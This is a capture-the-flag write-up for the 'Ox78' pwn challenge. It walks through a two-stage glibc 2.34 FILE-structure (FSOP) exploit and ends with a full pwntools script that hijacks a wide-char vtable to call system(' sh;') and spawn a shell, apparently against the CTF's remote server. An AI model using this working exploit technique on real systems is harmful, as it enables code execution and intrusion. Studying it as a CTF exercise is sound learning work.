

The challenge is named Ox78 provides us with three files ld-linux-x86-64.so.2, Ox78, libc.so.6, Dockerfile.

Ox78 – is the binary, libc.so.6 – the glibc library we have to use, ld-linux-x86-64.so.2 – the Dynamic loader.

We need to run the binary with both the loader and the library since they are part of the attack chain.

```
(kali@kali)-[~/Ox78]
$ ./ld-linux-x86-64.so.2 --library-path . ./Ox78
I'm trying to test my FSOP prevention mechanism so I can share it with my coworkers
who know nothing about security. It should be foolproof right?

Here's the address of the File Structure: 0x555569a2e320
I'm pretty confident you can't break out of this, so I'll give you a libc leak as we
ll: 0x7effea84ed0
```

We also perform a checksec to see built-in securities

```
(kali@kali)-[~/Ox78]
$ checksec --file=Ox78
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/kali/.cache/pwntools-c
    ache-3.13/update to 'never' (old way).
    Or add the following lines to ~/.pwn.conf or /home/kali/.config/pwn.conf (or /et
    c/pwn.conf system-wide):
        [update]
        interval=never
[*] You have the latest version of Pwntools (4.15.0)
[*] '/home/kali/Ox78/Ox78'
    Arch:      amd64-64-little
    RELRO:     Full RELRO
    Stack:     No canary found
    NX:        NX enabled
    PIE:       PIE enabled
    SHSTK:     Enabled
    IBT:       Enabled
    Stripped:  No
```

We can see no canary found so potentially the path could be stack overflow.

Let's check the code in Ghidra as well:

```

1
2 undefined8 main(void)
3
4 {
5     setvbuf(stdin, (char *)0x0, 2, 0);
5     setvbuf(stdout, (char *)0x0, 2, 0);
7     0x78();
8     return 0;
9 }

undefined8 0x78(void)

{
    undefined8 uVar1;

    create_test_file();
    testbuf = malloc(0x78);
    fp = fopen("/tmp/test.txt", "r");
    puts(
        "I\'m trying to test my FSOP prevention
        nothing about security. It should be f
    );
    printf("Here\'s the address of the File Str
    uVar1 = puts_got_value();
    printf("I\'m pretty confident you can\'t br
    %p\n\n"
        , uVar1);
    read(0, fp, 0x78);
    prevent_fsop();
    fread(testbuf, 1, 0x78, fp);
    prevent_fsop();
    return 0;
}

```

We have a couple of things. First we have fp; which is a pointer to a FILE structure in memory, which represents the opened /tmp/test.txt file. (before you run the script you will need to create that file internally)

We also receive an address leak of the file structure and a libc leak

read(0, fp, 0x78); is interesting because it allows us to overwrite the first 120 bytes of the FILE structure (0x78 thus the name of the challenge is a hint)

Since we can overwrite it, the attack chain is most likely File Stream Oriented Programming attack.

We also do have a security function prevent_fsop() but we will look at it later.

Since we can manipulate the FILE structre lets first check what will be manipulated, first we find the version of the library and read its source code online

```

(kali@kali)-[~/0x78]
$ strings libc.so.6 | grep "GNU C Library"
GNU C Library (Ubuntu GLIBC 2.34-0ubuntu3) stable release version 2.34.

```

I found it at - https://elixir.bootlin.com/glibc/glibc-2.34/source/libio/bits/types/struct_FILE.h

(comments are AI generated)

```
struct _IO_FILE
```

```
{
```

```
int _flags; // fp + 0x00
```

// Here there are 4 bytes of padding since an integer is only 4 bytes and pointers can be used only if the everything is aligned by 4 bytes

```
char *_IO_read_ptr; // fp + 0x08
```

```
char *_IO_read_end; // fp + 0x10
```

```
char *_IO_read_base; // fp + 0x18
```

```
char *_IO_write_base; // fp + 0x20
```

```
char *_IO_write_ptr; // fp + 0x28
```

```
char *_IO_write_end; // fp + 0x30
```

```
char *_IO_buf_base; // fp + 0x38
```

```
char *_IO_buf_end; // fp + 0x40
```

```
char *_IO_save_base; // fp + 0x48
```

```
char *_IO_backup_base; // fp + 0x50
```

```
char *_IO_save_end; // fp + 0x58
```

```
struct _IO_marker *_markers; // fp + 0x60
```

```
struct _IO_FILE *_chain; // fp + 0x68
```

```
int _fileno; // fp + 0x70
```

```
int _flags2; // fp + 0x74
```

```
__off_t _old_offset; // fp + 0x78
```

```
unsigned short _cur_column; // fp + 0x80
```

```
signed char _vtable_offset; // fp + 0x82
```

```
char _shortbuf[1]; // fp + 0x83
```

// padding from fp + 0x84 to fp + 0x87

```
_IO_lock_t *_lock; // fp + 0x88
```

```
__off64_t _offset; // fp + 0x90
```

```
struct _IO_codecvt *_codecvt; // fp + 0x98
```

```
struct _IO_wide_data *_wide_data; // fp + 0xa0
```

```
struct _IO_FILE *_freeres_list; // fp + 0xa8
```

```
void *_freeres_buf; // fp + 0xb0
```

```
size_t __pad5; // fp + 0xb8
```

```
int _mode; // fp + 0xc0
```

```
char _unused2[20]; // fp + 0xc4 to fp + 0xd7
};
```

We can overwrite data from fp + 0x00 to fp + 0x77, which is exactly 0x78 bytes (or 120 byte). This means we can control all fields up to _flags2.

This will not be enough for code execution. The final target is the vtable pointer, which is located after the _IO_FILE structure inside glibc's internal _IO_FILE_plus structure. The vtable points to a jump table containing function pointers used by glibc when performing operations on the FILE stream.

If we could control one of those function pointers and make glibc call system, we could get code execution. However, there are a few hurdles:

1. The initial overwrite is only 0x78 bytes, so we cannot directly reach the vtable at fp + 0xd8.
2. Modern glibc validates FILE vtables, so we cannot simply point the vtable to a fake table
3. The challenge also has a prevent_fsop function, which attempts to prevent simple FILE structure abuse.

Lets check prevent_fsop:

```
void prevent_fsop(void)
{
    if ((* (long *) (fp + 0xa0) != * (long *) (fp + 0xa0)) ||
        (* (long *) (fp + 0xd8) != * (long *) (fp + 0xd8))) {
        uRam0000000000000000 = 1;
    }
    *(undefined8 *) (fp + 0x68) = 0;
    return;
}
```

This functions was supposed to check if the _wide_data and vtable have been altered, but the developer has made a mistake by comaping those values to themselves which will always result in a false statement, so the function that should crash the program if it detect any changes doesn't even work, so it is not even a hurdle anymore

Lets go back to the first hurdle. We need another way to extend our overwrite past fp + 0x78. The useful fields we can control in the first overwrite are _IO_buf_base, _IO_buf_end, and _fileno.

By setting _fileno to 0 (which means stdin) we force the fread which is executed later to actually take input from which it would have initially not done that.

and pointing _IO_buf_base to fp + 0x78 defines from where the buffer will start so we make it start from fp + 0x78

We also set `_IO_buf_end` to `fp + 0x78 + 0x300`. This gives `fread` a controlled buffer range. The first stage controls `fp + 0x00` to `fp + 0x77`, and the second stage starts exactly after that, at `fp + 0x78`.

Second stage

The second stage is sent as normal stdin data, but because we changed `_fileno` to 0 and moved the FILE buffer to `fp + 0x78`, `fread` writes this second payload into the rest of the FILE structure.

The goal of the second stage is to fill the fields that we could not reach with the first 0x78-byte overwrite. The important fields are `_lock`, `_wide_data`, `_mode` and the `vtable` pointer.

stage2 starts at `fp + 0x78`

```
stage2 + 0x10 = fp + 0x88 = _lock
stage2 + 0x28 = fp + 0xa0 = _wide_data
stage2 + 0x48 = fp + 0xc0 = _mode
stage2 + 0x60 = fp + 0xd8 = vtable
```

`_lock` is set to a writable fake lock area. This is needed because glibc may try to lock or unlock the stream. If this value points to random memory, the program can crash before the exploit finishes.

`_wide_data` is set to a fake wide-data structure that we place inside the same controlled heap area. `_mode` is set to a positive value so the stream goes through the wide-character path.

The `vtable` is set to `_IO_wfile_jumps` from `libc`. We do not point the `vtable` directly to a fake heap table, because modern glibc checks FILE vtables. `_IO_wfile_jumps` is a real table inside `libc`, so it passes this kind of check.

Fake wide-data and fake wide vtable

After setting `_wide_data`, we also place a fake wide-data structure and a fake wide vtable in memory we control. The fake wide-data structure points to the fake wide vtable. Inside that fake wide vtable, we place the address of `system`.

```
fp + 0xa0 = fake _wide_data
fp + 0xd8 = _IO_wfile_jumps
```

```
fake _wide_data -> fake wide vtable
fake wide vtable -> system
```

The start of the FILE structure is changed to the string " sh;". This is useful because the final call becomes system(fp). Since fp points to the beginning of the FILE structure, system receives " sh;" as the command and spawns a shell.

The exploit chain is simple once the two stages are understood. First, we overwrite the beginning of the FILE structure. This gives us control over _IO_buf_base, _IO_buf_end and _fileno. Then fread uses these corrupted fields and writes our second payload after fp + 0x78.

The second payload finishes the fake FILE setup. It sets a valid-looking lock, points _wide_data to controlled memory, sets the vtable to _IO_wfile_jumps, and places system inside the fake wide vtable. When glibc later processes the stream, it reaches system(fp), and fp starts with the command " sh;".

```
first stage: control fread behavior
second stage: build the fake FILE and wide structures
trigger:      glibc reaches system(fp)
result:       system(" sh;") gives a shell
```

Here is the final script (AI assistance has been used for the script):

```
from pwn import *

context.binary = elf = ELF("./0x78")
libc = ELF("./libc.so.6")
ld = "./ld-linux-x86-64.so.2"

HOST = "tjc.tf"
PORT = 31378

DEBUG_PAUSE = False

def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    return process([ld, "--library-path", ".", "./0x78"])

p = start()

p.recvuntil(b"File Structure: 0x")
fp = int(p.recvline().strip(), 16)

p.recvuntil(b"libc leak as well: ")
puts_leak = int(p.recvline().strip(), 16)

libc.address = puts_leak - libc.sym["puts"]

log.success(f"fp leak      = {hex(fp)}")
log.success(f"puts leak   = {hex(puts_leak)}")
log.success(f"libc base  = {hex(libc.address)}")
```

```

log.success(f"system      = {hex(libc.sym['system'])}")
log.success(f"/bin/sh    = {hex(next(libc.search(b'/bin/sh')))}")

target = fp + 0x78

payload = flat(
    {
        0x00: b"  sh;\x00\x00\x00",      # command string, used later by system(fp)

        0x08: p64(0),                    # _IO_read_ptr
        0x10: p64(0),                    # _IO_read_end
        0x18: p64(0),                    # _IO_read_base

        0x20: p64(0),                    # _IO_write_base
        0x28: p64(0),                    # _IO_write_ptr
        0x30: p64(0),                    # _IO_write_end

        0x38: p64(target),                # _IO_buf_base = fp + 0x78
        0x40: p64(target + 0x300),        # _IO_buf_end

        0x48: p64(0),                    # _IO_save_base
        0x50: p64(0),                    # _IO_backup_base
        0x58: p64(0),                    # _IO_save_end

        0x60: p64(0),                    # _markers
        0x68: p64(0),                    # _chain
        0x70: p32(0),                    # _fileno = stdin
        0x74: p32(0),                    # _flags2
    },
    filler=b"\x00",
    length=0x78
)

wide_data = fp + 0xe0
wide_vtable = fp + 0x1e0
lock = fp + 0x2e0

io_wfile_jumps = libc.sym["_IO_wfile_jumps"]
system = libc.sym["system"]

stage2_base = fp + 0x78

log.info(f"_IO_wfile_jumps = {hex(io_wfile_jumps)}")
log.info(f"wide_data      = {hex(wide_data)}")
log.info(f"wide_vtable     = {hex(wide_vtable)}")
log.info(f"fake lock       = {hex(lock)}")
log.info(f"system          = {hex(system)}")

stage2 = flat(
    {
        0x00: p64(0),                    # fp + 0x78, _old_offset
        0x08: p64(0),                    # fp + 0x80, small fields and padding
        0x10: p64(lock),                  # fp + 0x88, _lock
        0x18: p64(0xffffffffffffffff),   # fp + 0x90, _offset
        0x20: p64(0),                    # fp + 0x98, _codecvt
        0x28: p64(wide_data),             # fp + 0xa0, _wide_data
        0x30: p64(0),                    # fp + 0xa8, _freeres_list
    }

```

```

0x38: p64(0),                # fp + 0xb0, _freeres_buf
0x40: p64(0),                # fp + 0xb8, __pad5
0x48: p32(1),                # fp + 0xc0, _mode
0x60: p64(io_wfile_jumps),   # fp + 0xd8, vtable

# fake _IO_wide_data at fp + 0xe0
wide_data - stage2_base + 0x18: p64(0),
wide_data - stage2_base + 0x20: p64(1),
wide_data - stage2_base + 0x30: p64(0),
wide_data - stage2_base + 0xe0: p64(wide_vtable),

# fake wide vtable
wide_vtable - stage2_base + 0x68: p64(system),

# fake lock area
lock - stage2_base: p64(0),
},
filler=b"\x00",
length=0x300
)

if DEBUG_PAUSE:
    pause()

p.send(payload)
p.send(stage2)

p.interactive()

```